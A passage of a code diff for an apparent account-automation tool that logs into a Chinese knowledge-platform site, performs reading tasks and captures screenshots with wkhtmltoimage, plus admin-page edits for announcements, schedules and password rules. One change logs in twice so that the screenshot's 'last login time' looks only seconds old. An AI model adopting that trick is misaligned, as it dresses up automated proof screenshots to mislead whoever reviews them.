+    proxy_server: str | None = None,
+    run_script: str | None = None,
+    window_status: str | None = None,
+    log_callback=None,
+) -> bool:
+    wkhtmltoimage_path = _resolve_wkhtmltoimage_path()
+    if not wkhtmltoimage_path:
+        if log_callback:
+            log_callback("wkhtmltoimage 未安装或不在 PATH 中")
+        return False
+
+    ext = os.path.splitext(output_path)[1].lower()
+    image_format = "jpg" if ext in (".jpg", ".jpeg") else "png"
+
+    cmd = [
+        wkhtmltoimage_path,
+        "--format",
+        image_format,
+        "--width",
+        str(_WKHTMLTOIMAGE_WIDTH),
+        "--disable-smart-width",
+        "--javascript-delay",
+        str(_WKHTMLTOIMAGE_JS_DELAY_MS),
+        "--load-error-handling",
+        "ignore",
+        "--enable-local-file-access",
+        "--encoding",
+        "utf-8",
+    ]
+
+    if _WKHTMLTOIMAGE_UA:
+        cmd.extend(["--custom-header", "User-Agent", _WKHTMLTOIMAGE_UA, "--custom-header-propagation"])
+
+    if image_format in ("jpg", "jpeg"):
+        cmd.extend(["--quality", str(_WKHTMLTOIMAGE_QUALITY)])
+
+    if _WKHTMLTOIMAGE_HEIGHT > 0 and not _WKHTMLTOIMAGE_FULL_PAGE:
+        cmd.extend(["--height", str(_WKHTMLTOIMAGE_HEIGHT)])
+
+    if abs(_WKHTMLTOIMAGE_ZOOM - 1.0) > 1e-6:
+        cmd.extend(["--zoom", str(_WKHTMLTOIMAGE_ZOOM)])
+
+    if not _WKHTMLTOIMAGE_FULL_PAGE and (_WKHTMLTOIMAGE_CROP_WIDTH > 0 or _WKHTMLTOIMAGE_CROP_HEIGHT > 0):
+        cmd.extend(["--crop-x", str(_WKHTMLTOIMAGE_CROP_X), "--crop-y", str(_WKHTMLTOIMAGE_CROP_Y)])
+        if _WKHTMLTOIMAGE_CROP_WIDTH > 0:
+            cmd.extend(["--crop-w", str(_WKHTMLTOIMAGE_CROP_WIDTH)])
+        if _WKHTMLTOIMAGE_CROP_HEIGHT > 0:
+            cmd.extend(["--crop-h", str(_WKHTMLTOIMAGE_CROP_HEIGHT)])
+
+    if run_script:
+        cmd.extend(["--run-script", run_script])
+    if window_status:
+        cmd.extend(["--window-status", window_status])
+
+    if cookies_path:
+        cookie_pairs = _select_cookie_pairs(_read_cookie_pairs(cookies_path))
+        if cookie_pairs:
+            for name, value in cookie_pairs:
+                cmd.extend(["--cookie", name, value])
+        else:
+            cmd.extend(["--cookie-jar", cookies_path])
+
+    if proxy_server:
+        cmd.extend(["--proxy", proxy_server])
+
+    cmd.extend([url, output_path])
+
+    try:
+        result = subprocess.run(cmd, capture_output=True, text=True, timeout=_WKHTMLTOIMAGE_TIMEOUT_SECONDS)
+        if result.returncode != 0:
+            if log_callback:
+                err_msg = (result.stderr or result.stdout or "").strip()
+                log_callback(f"wkhtmltoimage 截图失败: {err_msg[:200]}")
+            return False
+        return True
+    except subprocess.TimeoutExpired:
+        if log_callback:
+            log_callback("wkhtmltoimage 截图超时")
+        return False
+    except Exception as e:
+        if log_callback:
+            log_callback(f"wkhtmltoimage 截图异常: {e}")
+        return False
+
 
 def _emit(event: str, data: object, *, room: str | None = None) -> None:
     try:
@@ -42,7 +202,7 @@ def take_screenshot_for_account(
     task_start_time=None,
     browse_result=None,
 ):
-    """为账号任务完成后截图（使用工作线程池，真正的浏览器复用）"""
+    """为账号任务完成后截图（使用截图线程池并发执行）"""
     account = safe_get_account(user_id, account_id)
     if not account:
         return
@@ -63,9 +223,11 @@ def take_screenshot_for_account(
             _emit("account_update", acc.to_dict(), room=f"user_{user_id}")
 
         max_retries = 3
+        proxy_config = account.proxy_config if hasattr(account, "proxy_config") else None
+        proxy_server = proxy_config.get("server") if proxy_config else None
+        cookie_path = get_cookie_jar_path(account.username)
 
         for attempt in range(1, max_retries + 1):
-            automation = None
             try:
                 safe_update_task_status(
                     account_id,
@@ -75,27 +237,21 @@ def take_screenshot_for_account(
                 if attempt > 1:
                     log_to_client(f"🔄 第 {attempt} 次截图尝试...", user_id, account_id)
 
+                worker_id = browser_instance.get("worker_id", "?") if isinstance(browser_instance, dict) else "?"
+                use_count = browser_instance.get("use_count", 0) if isinstance(browser_instance, dict) else 0
                 log_to_client(
-                    f"使用Worker-{browser_instance['worker_id']}的浏览器（已使用{browser_instance['use_count']}次）",
+                    f"使用Worker-{worker_id}执行截图（已执行{use_count}次）",
                     user_id,
                     account_id,
                 )
 
-                proxy_config = account.proxy_config if hasattr(account, "proxy_config") else None
-                automation = PlaywrightAutomation(get_browser_manager(), account_id, proxy_config=proxy_config)
-                automation.playwright = browser_instance["playwright"]
-                automation.browser = browser_instance["browser"]
-
                 def custom_log(message: str):
                     log_to_client(message, user_id, account_id)
 
-                automation.log = custom_log
-
-                log_to_client("登录中...", user_id, account_id)
-                login_result = automation.quick_login(account.username, account.password, account.remember)
-                if not login_result["success"]:
-                    error_message = login_result.get("message", "截图登录失败")
-                    log_to_client(f"截图登录失败: {error_message}", user_id, account_id)
+                if not is_cookie_jar_fresh(cookie_path) or attempt > 1:
+                    log_to_client("正在刷新登录态...", user_id, account_id)
+                    if not _ensure_login_cookies(account, proxy_config, custom_log):
+                        log_to_client("截图登录失败", user_id, account_id)
                         if attempt < max_retries:
                             log_to_client("将重试...", user_id, account_id)
                             time.sleep(2)
@@ -105,9 +261,6 @@ def take_screenshot_for_account(
 
                 log_to_client(f"导航到 '{browse_type}' 页面...", user_id, account_id)
 
-                # 截图场景：优先用 bz 参数直达页面（更稳定，避免页面按钮点击失败导致截图跑偏）
-                navigated = False
-                try:
                 from urllib.parse import urlsplit
 
                 parsed = urlsplit(config.ZSGL_LOGIN_URL)
@@ -117,58 +270,37 @@ def take_screenshot_for_account(
                 else:
                     bz = 2  # 应读
                 target_url = f"{base}/admin/center.aspx?bz={bz}"
-                    # 目标：保留外层框架（左侧菜单/顶部栏），仅在 mainframe 内部导航到目标内容页
-                    iframe = None
-                    try:
-                        iframe = automation.get_iframe_safe(retry=True, max_retries=5)
-                    except Exception:
-                        iframe = None
-
-                    if iframe:
-                        iframe.goto(target_url, timeout=60000)
-                        current_url = getattr(iframe, "url", "") or ""
-                        if "center.aspx" not in current_url:
-                            raise RuntimeError(f"unexpected_iframe_url:{current_url}")
-                        try:
-                            iframe.wait_for_load_state("networkidle", timeout=10000)
-                        except Exception:
-                            pass
-                        try:
-                            iframe.wait_for_selector("table.ltable", timeout=5000)
-                        except Exception:
-                            pass
-                    else:
-                        # 兜底：若获取不到 iframe，则退回到主页面直达
-                        automation.main_page.goto(target_url, timeout=60000)
-                        current_url = getattr(automation.main_page, "url", "") or ""
-                        if "center.aspx" not in current_url:
-                            raise RuntimeError(f"unexpected_url:{current_url}")
-                        try:
-                            automation.main_page.wait_for_load_state("networkidle", timeout=10000)
-                        except Exception:
-                            pass
-                        try:
-                            automation.main_page.wait_for_selector("table.ltable", timeout=5000)
-                        except Exception:
-                            pass
-                    navigated = True
-                except Exception as nav_error:
-                    log_to_client(f"直达页面失败，将尝试按钮切换: {str(nav_error)[:120]}", user_id, account_id)
-
-                # 兼容兜底：若直达失败，则回退到原有按钮切换方式
-                if not navigated:
-                    result = automation.browse_content(
-                        navigate_only=True,
-                        browse_type=browse_type,
-                        auto_next_page=False,
-                        auto_view_attachments=False,
-                        interval=0,
-                        should_stop_callback=None,
+                index_url = config.ZSGL_INDEX_URL or f"{base}/admin/index.aspx"
+                run_script = (
+                    "(function(){"
+                    "function done(){window.status='ready';}"
+                    "function ensureNav(){try{if(typeof loadMenuTree==='function'){loadMenuTree(true);}}catch(e){}}"
+                    "function expandMenu(){"
+                    "try{var body=document.body;if(body&&body.classList.contains('lay-mini')){body.classList.remove('lay-mini');}}catch(e){}"
+                    "try{if(typeof mainPageResize==='function'){mainPageResize();}}catch(e){}"
+                    "try{if(typeof toggleMainMenu==='function' && document.body && document.body.classList.contains('lay-mini')){toggleMainMenu();}}catch(e){}"
+                    "try{var navRight=document.querySelector('.nav-right');if(navRight){navRight.style.display='block';}}catch(e){}"
+                    "try{var mainNav=document.getElementById('main-nav');if(mainNav){mainNav.style.display='block';}}catch(e){}"
+                    "}"
+                    "function navReady(){"
+                    "try{var nav=document.getElementById('sidebar-nav');return nav && nav.querySelectorAll('a').length>0;}catch(e){return false;}"
+                    "}"
+                    "function frameReady(){"
+                    "try{var f=document.getElementById('mainframe');return f && f.contentDocument && f.contentDocument.readyState==='complete';}catch(e){return false;}"
+                    "}"
+                    "function check(){"
+                    "if(navReady() && frameReady()){done();return;}"
+                    "setTimeout(check,300);"
+                    "}"
+                    "var f=document.getElementById('mainframe');"
+                    "ensureNav();"
+                    "expandMenu();"
+                    "if(!f){done();return;}"
+                    f"f.src='{target_url}';"
+                    "f.onload=function(){ensureNav();expandMenu();setTimeout(check,300);};"
+                    "setTimeout(check,5000);"
+                    "})();"
                 )
-                    if not result.success and result.error_message:
-                        log_to_client(f"导航警告: {result.error_message}", user_id, account_id)
-
-                time.sleep(2)
 
                 timestamp = get_beijing_now().strftime("%Y%m%d_%H%M%S")
 
@@ -178,7 +310,22 @@ def take_screenshot_for_account(
                 screenshot_filename = f"{username_prefix}_{login_account}_{browse_type}_{timestamp}.jpg"
                 screenshot_path = os.path.join(SCREENSHOTS_DIR, screenshot_filename)
 
-                if automation.take_screenshot(screenshot_path):
+                cookies_for_shot = cookie_path if is_cookie_jar_fresh(cookie_path) else None
+                if take_screenshot_wkhtmltoimage(
+                    index_url,
+                    screenshot_path,
+                    cookies_path=cookies_for_shot,
+                    proxy_server=proxy_server,
+                    run_script=run_script,
+                    window_status="ready",
+                    log_callback=custom_log,
+                ) or take_screenshot_wkhtmltoimage(
+                    target_url,
+                    screenshot_path,
+                    cookies_path=cookies_for_shot,
+                    proxy_server=proxy_server,
+                    log_callback=custom_log,
+                ):
                     if os.path.exists(screenshot_path) and os.path.getsize(screenshot_path) > 1000:
                         log_to_client(f"✓ 截图成功: {screenshot_filename}", user_id, account_id)
                         return {"success": True, "filename": screenshot_filename}
@@ -197,15 +344,6 @@ def take_screenshot_for_account(
                 if attempt < max_retries:
                     log_to_client("将重试...", user_id, account_id)
                     time.sleep(2)
-            finally:
-                if automation:
-                    try:
-                        if automation.context:
-                            automation.context.close()
-                        automation.context = None
-                        automation.page = None
-                    except Exception as e:
-                        logger.debug(f"关闭context时出错: {e}")
 
         return {"success": False, "error": "截图失败，已重试3次"}
 
@@ -250,6 +388,35 @@ def take_screenshot_for_account(
 
                     account_name = account.remark if account.remark else account.username
 
+                    try:
+                        if screenshot_path and result and result.get("success"):
+                            cfg = database.get_system_config() or {}
+                            if int(cfg.get("kdocs_enabled", 0) or 0) == 1:
+                                doc_url = (cfg.get("kdocs_doc_url") or "").strip()
+                                if doc_url:
+                                    user_cfg = database.get_user_kdocs_settings(user_id) or {}
+                                    if int(user_cfg.get("kdocs_auto_upload", 0) or 0) == 1:
+                                        unit = (user_cfg.get("kdocs_unit") or cfg.get("kdocs_default_unit") or "").strip()
+                                        name = (account.remark or "").strip()
+                                        if unit and name:
+                                            from services.kdocs_uploader import get_kdocs_uploader
+                                            ok = get_kdocs_uploader().enqueue_upload(
+                                                user_id=user_id,
+                                                account_id=account_id,
+                                                unit=unit,
+                                                name=name,
+                                                image_path=screenshot_path,
+                                            )
+                                            if not ok:
+                                                log_to_client("表格上传排队失败: 队列已满", user_id, account_id)
+                                        else:
+                                            if not unit:
+                                                log_to_client("表格上传跳过: 未配置县区", user_id, account_id)
+                                            if not name:
+                                                log_to_client("表格上传跳过: 账号备注为空", user_id, account_id)
+                    except Exception as kdocs_error:
+                        logger.warning(f"表格上传任务提交失败: {kdocs_error}")
+
                     if batch_id:
                         _batch_task_record_result(
                             batch_id=batch_id,

services/tasks.py

@@ -573,8 +573,16 @@ def run_task(user_id, account_id, browse_type, enable_screenshot=True, source="m
 
                     with APIBrowser(log_callback=custom_log, proxy_config=proxy_config) as api_browser:
                         if api_browser.login(account.username, account.password):
-                            log_to_client("✓ 登录成功！", user_id, account_id)
-                            api_browser.save_cookies_for_playwright(account.username)
+                            log_to_client("✓ 首次登录成功，刷新登录时间...", user_id, account_id)
+
+                            # 二次登录：让"上次登录时间"变成刚才首次登录的时间
+                            # 这样截图时显示的"上次登录时间"就是几秒前而不是昨天
+                            if api_browser.login(account.username, account.password):
+                                log_to_client("✓ 二次登录成功！", user_id, account_id)
+                            else:
+                                log_to_client("⚠ 二次登录失败，继续使用首次登录状态", user_id, account_id)
+
+                            api_browser.save_cookies_for_screenshot(account.username)
                             database.reset_account_login_status(account_id)
 
                             if not account.remark:

static/admin/index.html

@@ -5,8 +5,8 @@
     <link rel="icon" type="image/svg+xml" href="./vite.svg" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0" />
     <title>后台管理 - 知识管理平台</title>
-    <script type="module" crossorigin src="./assets/index-CdjS44Uj.js"></script>
-    <link rel="stylesheet" crossorigin href="./assets/index-EWm4DZW8.css">
+    <script type="module" crossorigin src="./assets/index-DKH_HvPt.js"></script>
+    <link rel="stylesheet" crossorigin href="./assets/index-_5Ec1Hmd.css">
   </head>
   <body>
     <div id="app"></div>

static/app/index.html

@@ -4,8 +4,8 @@
     <meta charset="UTF-8" />
     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
     <title>知识管理平台</title>
-    <script type="module" crossorigin src="./assets/index-DhsLPY8p.js"></script>
-    <link rel="stylesheet" crossorigin href="./assets/index-CD3NfpmF.css">
+    <script type="module" crossorigin src="./assets/index-7hTgh8K-.js"></script>
+    <link rel="stylesheet" crossorigin href="./assets/index-BVjJVlht.css">
   </head>
   <body>
     <noscript>该页面需要启用 JavaScript 才能使用。</noscript>

templates/admin.html

@@ -5,13 +5,48 @@
     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
     <title>后台管理 - 知识管理平台</title>
     {% for css_file in admin_spa_css_files %}
+    {% if admin_spa_build_id %}
+    <link rel="stylesheet" href="{{ url_for('serve_static', filename=css_file, v=admin_spa_build_id) }}" />
+    {% else %}
     <link rel="stylesheet" href="{{ url_for('serve_static', filename=css_file) }}" />
+    {% endif %}
     {% endfor %}
   </head>
   <body>
     <noscript>该页面需要启用 JavaScript 才能使用。</noscript>
+    <script>
+      (function () {
+        var search = window.location.search || ''
+        if (search.indexOf('legacy=1') !== -1) {
+          return
+        }
+        var needsLegacy = false
+        try {
+          new Function('let a = 1; const b = 2;')
+        } catch (e) {
+          needsLegacy = true
+        }
+        if (!window.Promise || !window.Proxy) {
+          needsLegacy = true
+        }
+        if (needsLegacy) {
+          var href = window.location.href
+          var hash = ''
+          var hashIndex = href.indexOf('#')
+          if (hashIndex !== -1) {
+            hash = href.slice(hashIndex)
+            href = href.slice(0, hashIndex)
+          }
+          var sep = href.indexOf('?') !== -1 ? '&' : '?'
+          window.location.replace(href + sep + 'legacy=1' + hash)
+        }
+      })()
+    </script>
     <div id="app"></div>
+    {% if admin_spa_build_id %}
+    <script type="module" src="{{ url_for('serve_static', filename=admin_spa_js_file, v=admin_spa_build_id) }}"></script>
+    {% else %}
     <script type="module" src="{{ url_for('serve_static', filename=admin_spa_js_file) }}"></script>
+    {% endif %}
   </body>
 </html>
-

templates/admin_legacy.html

@@ -754,9 +754,6 @@
             <div id="tab-pending" class="tab-content active">
                 <h3 style="margin-bottom: 15px; font-size: 16px;">用户注册审核</h3>
                 <div id="pendingUsersList"></div>
-
-                <h3 style="margin-top: 30px; margin-bottom: 15px; font-size: 16px;">密码重置审核</h3>
-                <div id="passwordResetsList"></div>
             </div>
 
             <!-- 所有用户 -->
@@ -811,7 +808,7 @@
                     <label>截图最大并发数</label>
                     <input type="number" id="maxScreenshotConcurrent" min="1" value="3" style="max-width: 200px;">
                     <div style="font-size: 12px; color: #666; margin-top: 5px;">
-                        说明：同时进行截图的最大数量。每个浏览器约占用200MB内存。
+                        说明：同时进行截图的最大数量。wkhtmltoimage 资源占用较低，可按需提高。
                     </div>
                 </div>
 
@@ -825,7 +822,7 @@
                         启用定时任务
                     </label>
                     <div style="font-size: 12px; color: #666; margin-top: 5px;">
-                        开启后,系统将在指定时间自动执行所有账号的浏览任务(不包含截图)
+                        开启后,系统将在指定时间自动执行所有账号的浏览任务，是否截图由下方开关决定。
                     </div>
                 </div>
 
@@ -882,6 +879,16 @@
                     </div>
                 </div>
 
+                <div class="form-group" id="scheduleScreenshotGroup" style="display: none;">
+                    <label style="display: flex; align-items: center; gap: 10px;">
+                        <input type="checkbox" id="enableScreenshot" style="width: auto; max-width: none;">
+                        定时任务截图
+                    </label>
+                    <div style="font-size: 12px; color: #666; margin-top: 5px;">
+                        开启后，定时任务执行时会生成截图。
+                    </div>
+                </div>
+
                 <div id="scheduleActions" style="margin-top: 15px; display: flex; gap: 10px;">
                     <button class="btn btn-primary" onclick="updateSchedule()">保存定时任务配置</button>
                     <button class="btn btn-success" onclick="executeScheduleNow()" style="background: linear-gradient(135deg, #11998e 0%, #38ef7d 100%);">
@@ -1226,6 +1233,18 @@
                         <label>公告内容</label>
                         <textarea id="announcementContent" rows="5" placeholder="请输入公告内容（将以弹窗形式展示）"></textarea>
                     </div>
+                    <div class="form-group">
+                        <label>公告图片（可选）</label>
+                        <div style="display: flex; align-items: center; gap: 10px; flex-wrap: wrap;">
+                            <button class="btn btn-secondary" onclick="triggerAnnouncementImageUpload()">+ 上传图片</button>
+                            <button class="btn" onclick="clearAnnouncementImage()" style="background: #eee;">移除</button>
+                            <input type="file" id="announcementImageFile" accept="image/*" style="display: none;" onchange="uploadAnnouncementImageFile()">
+                            <input type="text" id="announcementImageUrl" placeholder="上传后自动填充" readonly style="flex: 1; min-width: 220px;">
+                        </div>
+                        <div id="announcementImagePreview" style="display: none; margin-top: 8px;">
+                            <img id="announcementImagePreviewImg" src="" alt="公告图片预览" style="max-width: 260px; max-height: 160px; border-radius: 8px; border: 1px solid #e5e7eb; object-fit: contain;">
+                        </div>
+                    </div>
                     <div style="display: flex; gap: 10px; flex-wrap: wrap;">
                         <button class="btn btn-primary" onclick="createAnnouncement(true)">发布并启用</button>
                         <button class="btn btn-secondary" onclick="createAnnouncement(false)">保存但不启用</button>
@@ -1536,7 +1555,6 @@
             loadAnnouncements();
             loadSystemConfig();
             loadProxyConfig();
-            loadPasswordResets();  // 修复: 初始化时也加载密码重置申请
             loadFeedbacks();  // 加载反馈统计更新徽章
 
             // 恢复上次的标签页
@@ -1626,6 +1644,7 @@
                                 <th style="width: 70px;">ID</th>
                                 <th>标题</th>
                                 <th style="width: 90px;">状态</th>
+                                <th style="width: 70px;">图片</th>
                                 <th style="width: 170px;">创建时间</th>
                                 <th style="width: 220px;">操作</th>
                             </tr>
@@ -1640,6 +1659,7 @@
                                             ${a.is_active ? '启用' : '停用'}
                                         </span>
                                     </td>
+                                    <td>${a.image_url ? '有图' : '-'}</td>
                                     <td>${a.created_at || '-'}</td>
                                     <td>
                                         <div class="action-buttons">
@@ -1664,17 +1684,82 @@
             const content = document.getElementById('announcementContent');
             if (title) title.value = '';
             if (content) content.value = '';
+            clearAnnouncementImage();
+        }
+
+        function triggerAnnouncementImageUpload() {
+            const input = document.getElementById('announcementImageFile');
+            if (input) input.click();
+        }
+
+        async function uploadAnnouncementImageFile() {
+            const input = document.getElementById('announcementImageFile');
+            const urlInput = document.getElementById('announcementImageUrl');
+            const file = input?.files?.[0];
+            if (!file || !urlInput) return;
+
+            if (file.type && !String(file.type).startsWith('image/')) {
+                showNotification('请选择图片文件', 'error');
+                input.value = '';
+                return;
+            }
+
+            const formData = new FormData();
+            formData.append('file', file);
+            try {
+                const response = await fetch('/yuyx/api/announcements/upload_image', {
+                    method: 'POST',
+                    body: formData
+                });
+                const data = await response.json();
+                if (!response.ok || !data?.success) {
+                    showNotification(data?.error || '上传失败', 'error');
+                    return;
+                }
+                urlInput.value = data.url || '';
+                updateAnnouncementImagePreview();
+                showNotification('上传成功', 'success');
+            } catch (e) {
+                showNotification('上传失败', 'error');
+            } finally {
+                input.value = '';
+            }
+        }
+
+        function clearAnnouncementImage() {
+            const imageUrl = document.getElementById('announcementImageUrl');
+            const imageFile = document.getElementById('announcementImageFile');
+            if (imageUrl) imageUrl.value = '';
+            if (imageFile) imageFile.value = '';
+            updateAnnouncementImagePreview();
+        }
+
+        function updateAnnouncementImagePreview() {
+            const imageUrl = document.getElementById('announcementImageUrl');
+            const previewWrap = document.getElementById('announcementImagePreview');
+            const previewImg = document.getElementById('announcementImagePreviewImg');
+            if (!imageUrl || !previewWrap || !previewImg) return;
+            const url = String(imageUrl.value || '').trim();
+            if (url) {
+                previewImg.src = url;
+                previewWrap.style.display = 'block';
+            } else {
+                previewImg.removeAttribute('src');
+                previewWrap.style.display = 'none';
+            }
         }
 
         function viewAnnouncement(id) {
             const announcement = announcements.find(a => a.id === id);
             if (!announcement) return;
-            alert(`标题：${announcement.title || ''}\n\n内容：\n${announcement.content || ''}`);
+            const imageLine = announcement.image_url ? `\n图片：${announcement.image_url}` : '';
+            alert(`标题：${announcement.title || ''}${imageLine}\n\n内容：\n${announcement.content || ''}`);
         }
 
         async function createAnnouncement(isActive) {
             const title = (document.getElementById('announcementTitle')?.value || '').trim();
             const content = (document.getElementById('announcementContent')?.value || '').trim();
+            const image_url = (document.getElementById('announcementImageUrl')?.value || '').trim();
             if (!title || !content) {
                 showNotification('标题和内容不能为空', 'error');
                 return;
@@ -1684,7 +1769,7 @@
                 const response = await fetch('/yuyx/api/announcements', {
                     method: 'POST',
                     headers: { 'Content-Type': 'application/json' },
-                    body: JSON.stringify({ title, content, is_active: !!isActive })
+                    body: JSON.stringify({ title, content, image_url, is_active: !!isActive })
                 });
                 const data = await response.json();
                 if (!response.ok) {
@@ -2048,8 +2133,13 @@
                 return;
             }
 
-            if (newPassword.length < 6) {
-                showNotification('密码至少6个字符', 'error');
+            if (newPassword.length < 8) {
+                showNotification('密码长度至少8位', 'error');
+                return;
+            }
+
+            if (!/[a-zA-Z]/.test(newPassword) || !/\d/.test(newPassword)) {
+                showNotification('密码必须包含字母和数字', 'error');
                 return;
             }
 
@@ -2107,6 +2197,8 @@
                     document.getElementById('scheduleEnabled').checked = config.schedule_enabled === 1;
                     document.getElementById('scheduleTime').value = config.schedule_time || '02:00';
                     document.getElementById('scheduleBrowseType').value = config.schedule_browse_type || '应读';
+                    var enableScreenshot = config.enable_screenshot;
+                    document.getElementById('enableScreenshot').checked = enableScreenshot === 1 || enableScreenshot === true || enableScreenshot === undefined;
 
                     // 加载星期选择
                     const weekdays = config.schedule_weekdays || '1,2,3,4,5,6,7';
@@ -2132,15 +2224,18 @@
             const timeGroup = document.getElementById('scheduleTimeGroup');
             const browseTypeGroup = document.getElementById('scheduleBrowseTypeGroup');
             const weekdaysGroup = document.getElementById('scheduleWeekdaysGroup');
+            const screenshotGroup = document.getElementById('scheduleScreenshotGroup');
 
             if (enabled) {
                 timeGroup.style.display = 'block';
                 browseTypeGroup.style.display = 'block';
                 weekdaysGroup.style.display = 'block';
+                screenshotGroup.style.display = 'block';
             } else {
                 timeGroup.style.display = 'none';
                 browseTypeGroup.style.display = 'none';
                 weekdaysGroup.style.display = 'none';
+                screenshotGroup.style.display = 'none';
             }
             // 保存按钮始终显示，无论是开启还是关闭定时任务
         }
@@ -2313,6 +2408,7 @@
             const enabled = document.getElementById('scheduleEnabled').checked;
             const time = document.getElementById('scheduleTime').value;
             const browseType = document.getElementById('scheduleBrowseType').value;
+            const enableScreenshot = document.getElementById('enableScreenshot').checked;
 
             // 获取选中的星期
             const selectedWeekdays = [];
@@ -2330,7 +2426,7 @@
             const weekdayDisplay = selectedWeekdays.map(d => weekdayNames[parseInt(d)]).join('、');
 
             const message = enabled
-                ? `确定启用定时任务吗？\n\n执行时间: 每天 ${time}\n执行日期: ${weekdayDisplay}\n浏览类型: ${browseType}\n\n系统将自动执行所有账号的浏览任务(不包含截图)`
+                ? `确定启用定时任务吗？\n\n执行时间: 每天 ${time}\n执行日期: ${weekdayDisplay}\n浏览类型: ${browseType}\n截图: ${enableScreenshot ? '截图' : '不截图'}\n\n系统将自动执行所有账号的浏览任务`
                 : `确定关闭定时任务吗？`;
 
             if (!confirm(message)) return;
@@ -2343,7 +2439,8 @@
                         schedule_enabled: enabled ? 1 : 0,
                         schedule_time: time,
                         schedule_browse_type: browseType,
-                        schedule_weekdays: weekdaysStr
+                        schedule_weekdays: weekdaysStr,
+                        enable_screenshot: enableScreenshot ? 1 : 0
                     })
                 });
 
@@ -2771,119 +2868,21 @@
             } else if (tabName === 'logs') {
                 loadLogUserOptions();
                 loadTaskLogs();
-            } else if (tabName === 'pending') {
-                loadPasswordResets();
             }
         };
 
-        // ==================== 密码重置功能 ====================
+        // 管理员直接重置用户密码
+        async function resetUserPassword(userId) {
+            const newPassword = prompt('请输入新密码（至少8位且包含字母和数字）:');
+            if (!newPassword) return;
 
-        let passwordResets = [];
-
-        // 加载密码重置申请列表
-        async function loadPasswordResets() {
-            try {
-                const response = await fetch('/yuyx/api/password_resets');
-                if (response.ok) {
-                    passwordResets = await response.json();
-                    renderPasswordResets();
-                }
-            } catch (error) {
-                console.error('加载密码重置申请失败:', error);
-            }
-        }
-
-        // 渲染密码重置申请列表
-        function renderPasswordResets() {
-            const container = document.getElementById('passwordResetsList');
-
-            if (passwordResets.length === 0) {
-                container.innerHTML = '<div class="empty-message">暂无密码重置申请</div>';
+            if (newPassword.length < 8) {
+                showNotification('密码长度至少8位', 'error');
                 return;
             }
 
-            container.innerHTML = `
-                <div class="table-container">
-                    <table>
-                        <thead>
-                            <tr>
-                                <th>申请ID</th>
-                                <th>用户名</th>
-                                <th>邮箱</th>
-                                <th>申请时间</th>
-                                <th>操作</th>
-                            </tr>
-                        </thead>
-                        <tbody>
-                            ${passwordResets.map(reset => `
-                                <tr>
-                                    <td>${reset.id}</td>
-                                    <td><strong>${escapeHtml(reset.username)}</strong></td>
-                                    <td>${escapeHtml(reset.email || '-')}</td>
-                                    <td>${escapeHtml(reset.created_at)}</td>
-                                    <td>
-                                        <div class="action-buttons">
-                                            <button class="btn btn-small btn-success" onclick="approvePasswordReset(${reset.id})">批准</button>
-                                            <button class="btn btn-small btn-danger" onclick="rejectPasswordReset(${reset.id})">拒绝</button>
-                                        </div>
-                                    </td>
-                                </tr>
-                            `).join('')}
-                        </tbody>
-                    </table>
-                </div>
-            `;
-        }
-
-        // 批准密码重置申请
-        async function approvePasswordReset(requestId) {
-            if (!confirm('确定批准该密码重置申请吗？')) return;
-
-            try {
-                const response = await fetch(`/yuyx/api/password_resets/${requestId}/approve`, {
-                    method: 'POST'
-                });
-
-                const data = await response.json();
-                if (response.ok) {
-                    showNotification('密码重置申请已批准', 'success');
-                    loadPasswordResets();
-                } else {
-                    showNotification('批准失败: ' + data.error, 'error');
-                }
-            } catch (error) {
-                showNotification('批准失败: ' + error.message, 'error');
-            }
-        }
-
-        // 拒绝密码重置申请
-        async function rejectPasswordReset(requestId) {
-            if (!confirm('确定拒绝该密码重置申请吗？')) return;
-
-            try {
-                const response = await fetch(`/yuyx/api/password_resets/${requestId}/reject`, {
-                    method: 'POST'
-                });
-
-                const data = await response.json();
-                if (response.ok) {
-                    showNotification('密码重置申请已拒绝', 'success');
-                    loadPasswordResets();
-                } else {
-                    showNotification('拒绝失败: ' + data.error, 'error');
-                }
-            } catch (error) {
-                showNotification('拒绝失败: ' + error.message, 'error');
-            }
-        }
-
-        // 管理员直接重置用户密码
-        async function resetUserPassword(userId) {
-            const newPassword = prompt('请输入新密码（至少6位）:');
-            if (!newPassword) return;
-
-            if (newPassword.length < 6) {
-                showNotification('密码长度至少6位', 'error');
+            if (!/[a-zA-Z]/.test(newPassword) || !/\d/.test(newPassword)) {
+                showNotification('密码必须包含字母和数字', 'error');
                 return;
             }
 

templates/app.html

@@ -5,7 +5,11 @@
     <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0" />
     <title>知识管理平台</title>
     {% for css_file in app_spa_css_files %}
+    {% if app_spa_build_id %}
+    <link rel="stylesheet" href="{{ url_for('serve_static', filename=css_file, v=app_spa_build_id) }}" />
+    {% else %}
     <link rel="stylesheet" href="{{ url_for('serve_static', filename=css_file) }}" />
+    {% endif %}
     {% endfor %}
   </head>
   <body>
@@ -16,6 +20,10 @@
       window.__APP_INITIAL_STATE__ = {{ app_spa_initial_state | tojson }};
     </script>
     {% endif %}
+    {% if app_spa_build_id %}
+    <script type="module" src="{{ url_for('serve_static', filename=app_spa_js_file, v=app_spa_build_id) }}"></script>
+    {% else %}
     <script type="module" src="{{ url_for('serve_static', filename=app_spa_js_file) }}"></script>
+    {% endif %}
   </body>
 </html>

templates/login.html

@@ -1,449 +0,0 @@
-<!DOCTYPE html>
-<html lang="zh-CN">
-<head>
-    <meta charset="UTF-8">
-    <meta name="viewport" content="width=device-width, initial-scale=1.0">
-    <title>登录 - 知识管理平台</title>
-    <style>
-        :root {
-            --md-primary: #1976D2;
-            --md-primary-dark: #1565C0;
-            --md-primary-light: #BBDEFB;
-            --md-background: #FAFAFA;
-            --md-surface: #FFFFFF;
-            --md-error: #B00020;
-            --md-success: #4CAF50;
-            --md-on-primary: #FFFFFF;
-            --md-on-surface: #212121;
-            --md-on-surface-medium: #666666;
-            --md-shadow-lg: 0 8px 30px rgba(0,0,0,0.12);
-        }
-        * { margin: 0; padding: 0; box-sizing: border-box; }
-        body {
-            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
-            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
-            min-height: 100vh;
-            display: flex;
-            justify-content: center;
-            align-items: center;
-            padding: 20px;
-        }
-        .login-card {
-            background: var(--md-surface);
-            border-radius: 16px;
-            box-shadow: var(--md-shadow-lg);
-            width: 100%;
-            max-width: 400px;
